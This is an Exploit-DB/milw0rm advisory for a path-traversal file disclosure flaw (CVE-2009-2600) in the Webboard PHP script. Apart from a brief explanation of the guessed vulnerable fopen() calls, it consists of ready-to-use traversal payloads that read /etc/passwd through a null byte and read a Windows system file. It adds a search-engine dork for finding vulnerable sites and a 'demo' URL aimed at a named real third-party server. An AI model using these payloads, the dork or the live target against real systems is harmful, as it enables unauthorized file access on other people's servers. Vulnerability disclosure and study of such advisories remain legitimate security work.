Webboard <= 2.90 beta - Remote File Disclosure Vulnerability

ID EDB-ID:8823
Type exploitdb
Reporter MrDoug
Modified 2009-05-29T00:00:00


Webboard. CVE-2009-2600. Webapps exploit for php platform

                                            Webboard <= v.2.90 beta Remote File Disclosure Vulnerability


Author: MrDoug
Email: mrdoug13 [at] gmail [dot] com

Greetz to all my friends


There are 3 vulnerable calls to fopen() in "/webboard/view.php"
They are on lines 7, 109 and 113.  I have not actually read the
source but based on tests I would GUESS they look something
like this...

  7: fopen('title/' . $_GET['topic'] . '.txt');


109: fopen('counter/read/' . $_GET['topic'] . '.txt');


113: fopen('counter/read/' . $_GET['topic'] . '.txt');

Due to the trailing ".txt", retrieving files with different
extensions will be difficult unless you are able to get a
null byte through without it being escaped.


Example 1: /webboard/view.php?topic=../../../../../../etc/passwd%00
Example 2: /webboard/view.php?topic=../../../../../../WINDOWS/system32/eula

Dork: inurl:"webboard/view.php?topic="

Demo: http://korat.nfe.go.th/ksn00/webboard/view.php?topic=../../../../../../WINDOWS/system32/eula

# milw0rm.com [2009-05-29]